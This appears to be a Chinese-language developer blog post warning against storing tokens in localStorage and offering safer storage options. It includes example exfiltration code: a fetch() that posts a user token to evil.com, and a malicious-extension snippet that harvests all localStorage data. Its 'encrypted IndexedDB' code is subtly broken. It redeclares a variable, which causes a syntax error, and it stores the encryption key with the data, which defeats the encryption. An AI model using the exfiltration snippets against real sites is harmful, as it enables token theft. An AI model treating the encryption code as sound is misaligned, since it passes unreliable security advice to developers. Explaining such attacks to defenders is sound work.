localStorage 让你担忧?以下是锁定它的方法
一直在 localStorage 中存储敏感数据,认为它既安全又方便?其实不然。一个错误就可能暴露一切:用户令牌、私钥等等。在 localStorage 中存储敏感数据就像把家门钥匙放在门垫下——容易获取,但随时可能引发灾难。
为什么 localStorage 是个陷阱
localStorage 看似完美——浏览器中简单的键值存储。设置一个值,它会持久化,之后可以检索。
localStorage.setItem("userToken", "super-secret-token");
复制代码
任何在页面上运行的脚本都能访问它。就像一个没有锁的保险箱。
威胁 1:跨站脚本(XSS)攻击
恶意脚本可能通过用户输入或不受信任的第三方库潜入你的应用。它们只需一行代码就能读取 localStorage。
const stolenToken = localStorage.getItem("userToken");
复制代码
OWASP 2023 年报告将 XSS 列为顶级 Web 漏洞,53%的测试应用存在可被利用的缺陷。想象黑客获取用户会话令牌的场景:
fetch("https://evil.com/steal", {
method: "POST",
body: localStorage.getItem("userToken"),
});
复制代码
用户的信任可能在一夜之间崩塌。
威胁 2:第三方脚本漏洞
当你引入流行的分析脚本或闪亮的新 UI 库时,如果它们被攻破,也能访问 localStorage。
// 被攻破的第三方脚本
console.log(localStorage.getItem("userToken")); // 发送到恶意地点
复制代码
现代应用通常加载数十个外部脚本。一个库的漏洞就可能泄露一切。你无法预测哪个脚本会变坏。
威胁 3:浏览器扩展利用
浏览器扩展可能向你的网页注入脚本并窃取 localStorage。大多数扩展是合法的,但有些会变坏或被黑。
// 恶意扩展代码
const observer = new MutationObserver(() => {
// 获取所有localStorage数据
const data = { ...localStorage };
// 发送到可疑服务器
chrome.runtime.sendMessage({
type: "STOLEN_DATA",
payload: data,
});
});
observer.observe(document, { subtree: true, childList: true });
复制代码
chrome.runtime API 允许扩展与其组件通信,处理服务工作者、生命周期事件或路径转换。observe()方法设置 MutationObserver 来监视 DOM 变化。这就是为什么 localStorage 对敏感数据很危险——一个坏扩展就能暴露一切。
更安全的数据存储方式
改用更安全的存储选项来保护你的用户。
🔒 选项 1:HttpOnly Cookies
带有 HttpOnly 标志的 Cookie 无法被 JavaScript 访问。它们会随每个请求安全地发送到你的服务器。
// 服务器端:设置安全Cookie
res.cookie("refresh_token", refreshToken, {
httpOnly: true, // JavaScript无法访问
secure: true, // 仅HTTPS
sameSite: "strict", // 防止CSRF
path: "/api/refresh", // 限定到特定端点
});
复制代码
你需要管理服务器端验证。
🔒 选项 2:sessionStorage
sessionStorage 类似 localStorage,但在标签页关闭时清除。它是敏感数据的短期保险箱。sessionStorage 的主要优势是可以强制其生命周期。数据会自动清理,降低了敏感数据泄露的风险。
const sessionManager = {
storeTemporaryData(key, value) {
sessionStorage.setItem(
key,
JSON.stringify({
value,
timestamp: Date.now(),
expiresIn: 30 * 60 * 1000, // 30分钟
})
);
},
getTemporaryData(key) {
const data = sessionStorage.getItem(key);
if (!data) return null;
const { value, timestamp, expiresIn } = JSON.parse(data);
// 自动清除旧数据
if (Date.now() - timestamp > expiresIn) {
sessionStorage.removeItem(key);
return null;
}
return value;
},
refreshData(key) {
const data = this.getTemporaryData(key);
if (data) {
this.storeTemporaryData(key, data); // 重置过期时间
}
return data;
},
};
复制代码
它非常适合单次会话数据,如表单草稿。
🔒 选项 3:加密 IndexedDB
带加密的 IndexedDB 为复杂应用提供强大存储。它允许存储复杂数据结构、二进制数据,并可作为高效的加密数据存储。非常适合缓存敏感数据的离线优先应用。
const secureStore = {
async encrypt(data) {
// 使用Web Crypto API生成唯一加密密钥
const key = await crypto.subtle.generateKey(
{ name: "AES-GCM", length: 256 },
true,
["encrypt", "decrypt"]
);
// 将数据转换为缓冲区以便加密
const encoder = new TextEncoder();
const dataBuffer = encoder.encode(JSON.stringify(data));
// 为每次加密生成随机IV
const iv = crypto.getRandomValues(new Uint8Array(12));
// 加密数据
const encryptedData = await crypto.subtle.encrypt(
{ name: "AES-GCM", iv },
key,
dataBuffer
);
return {
encrypted: encryptedData,
iv,
key,
};
},
async store(key, value) {
const db = await openDB("secureStore", 1, {
upgrade(db) {
// 如有需要,创建带索引的存储
db.createObjectStore("encrypted", { keyPath: "id" });
},
});
const { encrypted, iv, key } = await this.encrypt(value);
// 存储带元数据的加密数据
await db.put("encrypted", {
id: key,
data: encrypted,
iv,
timestamp: Date.now(),
});
},
};
复制代码
你控制加密密钥,保持数据安全。
最终建议
选择适合你应用流程的方案。你的用户会感到安全,你的应用会更强大。更多精彩内容 请关注我的个人公众号 公众号(办公 AI 智能小助手)公众号二维码
办公AI智能小助手
评论